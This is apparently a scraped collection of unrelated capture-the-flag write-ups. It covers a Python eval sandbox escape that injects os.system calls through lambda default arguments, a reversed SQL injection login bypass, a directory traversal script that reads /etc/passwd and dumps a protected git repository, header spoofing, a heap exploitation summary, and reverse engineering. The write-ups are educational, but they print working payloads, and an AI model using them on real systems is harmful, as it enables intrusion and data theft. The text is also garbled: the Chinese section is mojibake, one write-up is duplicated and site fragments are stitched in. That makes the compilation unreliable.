**solves** : 52, 48
## write-up ( English version )
`sys.stdout.write(repr(eval(expr)))`
Our input will be sent to `eval` function
The program use some rules to check every node on `ast` ( abstract syntax tree )
`print(ast.dump(ast.parse(expr)))`
Use `ast.dump` to see how ast looks like
```[1, 2]Module(body=[Expr(value=List(elts=[Num(n=1), Num(n=2)], ctx=Load()))])```
According to `attributes`, the program will check `value` in `Expr` and `elts` in `List`
And will only check the node `attributes` specify
That means what `attributes` not specify will not be checked
There must be some where they miss, I bet they are not python compiler master too.
```lambda x: xModule(body=[Expr(value=Lambda(args=arguments(args=[Name(id='x', ctx=Param())], vararg=None, kwarg=None, defaults=[]), body=Name(id='x', ctx=Load())))])```
In `lambda`, they only check `body`.
But `defaults`, where we put default values in parameters, can put all kinds of things
Let's put `os.system`
```lambda x = __import__("os").system("ls"): xflagrun.shsandbox.py```
```lambda x = __import__("os").system("cat flag"): xTWCTF{go_to_next_challenge_running_on_port_30002}```
`TWCTF{go_to_next_challenge_running_on_port_30002}`
Yeah, second round
```lambda x = __import__("os").system("ls"): xflagflag2run.shsandbox2.py```
```lambda x = __import__("os").system("cat flag2"): xTWCTF{baby_sandb0x_escape_with_pythons}```
Oops, same solution for two flags, lucky me XD
`TWCTF{baby_sandb0x_escape_with_pythons}`
## write-up ( ไธญๆ็ )
`sys.stdout.write(repr(eval(expr)))`
ๆๆๅ็่ผธๅ
ฅๅ `eval`
ไฝๆฏๅ้ขๆ็จ `ast` ๅปๆชขๆฅ abstract syntax tree ไธ็็ฏ้ป
`print(ast.dump(ast.parse(expr)))`
ๅ
็จ `ast.dump` ๅป็ ast ้ทไป้บผๆจฃๅญ
```[1, 2]Module(body=[Expr(value=List(elts=[Num(n=1), Num(n=2)], ctx=Load()))])```
้ฃๆ นๆไปๅฏซ็ `attributes` ไปๆๅปๆชขๆฅ `Expr` ็ `value` ๅ่ฃก้ข็ `List` ็ `elts`
ๅชๆๅจไปๅฏซ็่ฆๅ่ฃก้ขไป้ฝๆ่ตฐ้ฒๅป่ฉฒ็ฏ้ปๅๆชขๆฅ
ไฝๆฏๅช่ฆไป็่ฆๅๆฒๅฏซๅฐ็็ฏ้ปไปๅฐฑไธๆ่ตฐ้ฒๅปๆชขๆฅ
python ็่ชๆณ้้บผๅค่ฏๅฎๆๅช่ฃกๆผๆ
```lambda x: xModule(body=[Expr(value=Lambda(args=arguments(args=[Name(id='x', ctx=Param())], vararg=None, kwarg=None, defaults=[]), body=Name(id='x', ctx=Load())))])```
`lambda` ๅชๆๆชขๆฅ `body` ไฝๆฏๅฏไปฅ็ผ็พๅๆธ็ๅฐๆนๅฏไปฅๆพ `defaults` ่ฃก้ขๅฏไปฅๆพๅ็จฎๆฑ่ฅฟ
```lambda x = __import__("os").system("ls"): xflagrun.shsandbox.py```
```lambda x = __import__("os").system("cat flag"): xTWCTF{go_to_next_challenge_running_on_port_30002}```
`TWCTF{go_to_next_challenge_running_on_port_30002}`
ๆฅไธไพๅฐฑไพๅฐ็ฌฌไบ้
```lambda x = __import__("os").system("ls"): xflagflag2run.shsandbox2.py```
```lambda x = __import__("os").system("cat flag2"): xTWCTF{baby_sandb0x_escape_with_pythons}```
ๅไธๆฌกๅฐฑ้ไบๅ
ฉ้...XD
`TWCTF{baby_sandb0x_escape_with_pythons}`
# other write-ups and resources
|
# Hummel (misc, 100p, 56 solved)
In the challenge we get a [video](challenge.mp4) with farting unicorn.It's easy to notice that there are short and long farts, and that there are some spaces in between.
The first observation could mean some binary encoding, but the second observation suggest something like Morse code, and it's a right guess.

We extracted the soundtrack, loaded into Audacity and typed down the code: `.--. --- . - .-. -.-- .. -. ... .--. .. .-. . -.. -... -.-- -... .- -.- . -.. -... . .- -. ...`
which gives the flag: `hackover18{poetry inspired by baked beans}` |
# Who knows john dows? (web, 416p, 24 solved)
In the challenge we get link to github repo: https://github.com/h18johndoe/user_repository/blob/master/user_repo.rb
And link to page where we can test this login form.It's clear that there is SQLinjection in the code, but in order to use it, we need to first get past the check for existing users.
We do this by checking emails of the people who contributed to the github repo, and we get a matching email: `[emailย protected]` which is recognized by the page.
Now we can provide password.The trick is to notice that password we provide is "hashed" be simply reversing it, and only then pasted into the query.This means we can use classic `dupa' or '1'='1` but we need to invert it to `1'='1' ro 'aa` so that after "hashing" it forms a proper injection query.
Once we do this we get logged in and flag is there: ` hackover18{I_KN0W_H4W_70_STALK_2018}` |
# i-love-headdah (web, 100p, 97 solved)
A second trivial web task.As previously we check for `robots.txt` and again there is:
```User-agent: *Disallow: /flag/```
And in the directory there is `flag.txt`.The link is actually broken, but we can fix the name by hand.
Once we get there it says: `You are using the wrong browser, 'Builder browser 1.0.1' is required`.
If we set User-agent to this string we get: `You are refered from the wrong location hackover.18 would be the correct place to come from.`
And if we set Referer to this string we get: `aGFja292ZXIxOHs0bmdyeVczYlMzcnYzclM0eXNOMH0=` which decoded as base64 string gives `hackover18{4ngryW3bS3rv3rS4ysN0}` |
# i-love-headdah (web, 100p, 97 solved)
A second trivial web task.As previously we check for `robots.txt` and again there is:
```User-agent: *Disallow: /flag/```
And in the directory there is `flag.txt`.The link is actually broken, but we can fix the name by hand.
Once we get there it says: `You are using the wrong browser, 'Builder browser 1.0.1' is required`.
If we set User-agent to this string we get: `You are refered from the wrong location hackover.18 would be the correct place to come from.`
And if we set Referer to this string we get: `aGFja292ZXIxOHs0bmdyeVczYlMzcnYzclM0eXNOMH0=` which decoded as base64 string gives `hackover18{4ngryW3bS3rv3rS4ysN0}` |
# Chains of Trust, RE, 391p, 10 solves
> Yet another reverse engineering challenge.
In this task we got a rather small binary and a bunch of libraries. When ran as-is, it seems to perform somechecks, including library versions, to finally ask for a password, then tell if it's correct:

After reversing the main binary, we notice it connects to a certain server, downloads a blob of data,mmaps it and runs it. This happens in a loop, executing different chunks each time. I wrote a simple (for now!)script to do the same communication and dumped the chunk.
The chunk was self-modifying - the first 100 bytes or so were bootstrap code to decrypt the rest. I emulatedit with Unicorn engine and analyzed the rest of the code. It was a simple check whether libraries were there, using dlopen and similar functions. There was also a "proof of work", or rather "proof of having-ran" - the chunk performed some simple arithmetic and reported the result to server. I had to emulate these too,and hooked dlopen calls to return dummy values.
The following chunks were anti-debug. There was ptracing, checking errno, checking /proc/self/maps,some environment checks and others. At first I implemented all of them one by one, but eventually I gotfed up and simply skipped the whole anti-debug check, jumping straight to proof-of-work code when one offorbidden functions were called. The code isn't too beautiful as it now consists of strange mix of bothapproaches, but seems to work.
Finally, there were some chunks that mmapped themselves a second time, and run a thread there. There wasabout fifteen of those. They usually contained some structure as argument; its address was reported to server.I reversed all of them - long story short, there were 7 types of threads:- 0, "input" thread - the first thread we receive, shows the main screen and waits for input- 3, 4, 5, 6 - "database" threads, they seemed to have four connections and wait for data on allof them; depending on that, either saved data: `arr[addr] = data` or send it back: `send(arr[addr])`.- 7, 8, 9, A - "HSM" threads, connected one-to-one to db threads, performed a simple encryption of dbcontents- B - "distributer", read input from thread 0 and divided bytes equally into each db- C - "reducer", runs over all db's, encrypts all bytes, saves them all to db #3- E - "hasher" - downloads all data from db #3, hashes it and compares to hardcoded data- 1, 2, D - "dummies" - do nothing but sleep forever.
By "encrypt" here I mean very simple reversible arithmetic, like xoring with constant.The exact order of servers seemed to vary between runs, but that's the basic idea. During reversing I even made a simple chart to help me keep track of everything:

What remained was to brute force the "hasher" preimages, invert "reducer" and "HSM"operations and print the resulting flag. See `enc.py` and `solve.py` for details.
Check out [author's website](https://gynvael.coldwind.pl/?id=688) too, he posted challenge sources withsome comments on architecture. Seems the chunks were not supposed to mimic database and servers, but FPGAwith RAM modules - the general idea remained the same though. The expected solution was somewhat simpler,as it involved dumping chunks using original binary and snapshotting memory or recording traffic. Thiswould work, and definitely save time I spent on writing emulator, but you would still have to sievethrough all the mmapped regions of memory and ignore the anti-debug/dummy ones, which is non-trivialamount of work. |
In `0CTF Final 2018 - freenote2018` challenge, there is a `double free` vulnerability that allows us to launch `fastbin dup` attack. Using this attack, we can create `overlapping chunks`, manipulate `heap metadata`, and finally overwrite `__malloc_hook` with `one gadget` address to execute `/bin/sh`. This challenge is very interesting because in contrast to most challenges, we `cannot` leak any addresses (e.g., `libc`, `heap`) to de-randomize `ASLR`. Instead, we have the ability to partially overwrite memory, so with some brute force (because the `12 least significant bits` are fixed), we can easily overwrite `__malloc_hook` with the right address. This is an interesting `heap exploitation` challenge to learn bypassing protections like `NX`, `Canary`, `PIE`, `Full RELRO`, and `ASLR` in `x86_64` binaries. |
# Cyberware (web, 416, 24 solved)
We get access to a webpage with links to 4 ascii-art files.If we simply click on them, we can't see the files and we get HTTP 412 response.Once we dig a bit deeper we can see a strange header `HTTP/1.1 412 referer sucks`
Once we send a raw request with no headers, we get back a nice picture:
```pythonfrom crypto_commons.netcat.netcat_commons import nc
def main(): s = nc("cyberware.ctf.hackover.de", 1337) s.sendall("GET /fox.txt HTTP/1.0\r\nConnection: close\r\n\r\n") print(s.recv(9999)) print(s.recv(9999)) pass
main()```
If we look closely at the responses we can see:
```HTTP/1.1 200 YippieServer: Linux/cyberDate: Sun, 07 Oct 2018 14:50:19 GMTContent-type: text/cyberContent-length: 414```
This could suggest a custom-made http server of some sort.Once we play around a bit we notice that there is a directory traversal there:
```s.sendall("GET ./etc/passwd HTTP/1.0\r\nConnection: close\r\n\r\n")```
returns contents of `/etc/passwd` for us.
Now we can get `/proc/self/cmdline` which tells us we're running `/usr/bin/python3 ./cyberserver.py`, and we can read this file to recover [server source code](cyberserver.py)
The interesting part of the code is:
```python if path.startswith('flag.git') or search('\\w+/flag.git', path): self.send_response(403, 'U NO POWER') self.send_header('Content-type', 'text/cyber') self.end_headers() self.wfile.write(b"Protected by Cyberware 10.1") return```
This suggests there is a `flag.git` repository there!It seems blacklisted, but `\w+` does not match `/` and they included only a single `/` in the pattern so if we send two, it will bypass the check:
```s.sendall("GET ./home/ctf//flag.git HTTP/1.0\r\nConnection: close\r\n\r\n")```
We get back a nice `HTTP/1.1 406 Cyberdir not accaptable`, so we made a proper request.
Now what is left is to modify some git-repo-dumper like https://github.com/internetwache/GitTools/tree/master/Dumper to grab the contents of the git repo and there we can find the flag: `hackover18{Cyb3rw4r3_f0r_Th3_w1N}` |
https://medium.com/@johnhammond010/codefest-ctf-2018-writeups-f45dafebb8c2Discord: https://discord.gg/fwdTp3JYouTube: https://youtube.com/johnhammond010 |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.